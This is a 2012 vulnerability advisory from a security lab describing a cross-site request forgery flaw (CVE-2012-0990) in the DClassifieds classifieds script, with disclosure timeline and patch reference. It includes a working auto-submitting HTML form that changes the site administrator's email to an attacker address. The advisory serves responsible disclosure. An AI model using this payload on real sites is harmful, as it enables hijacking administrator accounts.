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CSRF (Cross-Site Request Forgery) in DClassifieds

Advisory ID:HTB23067
Product:DClassifieds
Vendor: DClassifieds
Vulnerable Versions:0.1 final and probably prior
Tested Version:0.1 final
Advisory Publication:January 4, 2012 [without technical details]
Vendor Notification:January 4, 2012
Vendor Fix:January 4, 2012
Public Disclosure:January 25, 2012
Latest Update:January 27, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2012-0990
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DClassifieds, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks.

1) Cross-site request forgery (CSRF) in DClassifieds: CVE-2012-0990
The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's password or email.
An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
This PoC code will change administrator's email:
<form action="http://[host]/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="hacker@mail.com">
<input type="hidden" name="Settings[setting_description]" value="Contact email">
<input type="hidden" name="Settings[setting_show_in_admin]" value="1">
<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


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Solution:
Secunia suggest to apply csrf_fix_120105 patch.


References:
[1] High-Tech Bridge Advisory HTB23067 - https://www.htbridge.com/advisory/HTB23067 - CSRF (Cross-Site Request Forgery) in DClassifieds.
[2] DClassifieds - http://www.dclassifieds.eu/ - DClassifieds Free Classifieds Script is free open source classifieds script based on Yii framework.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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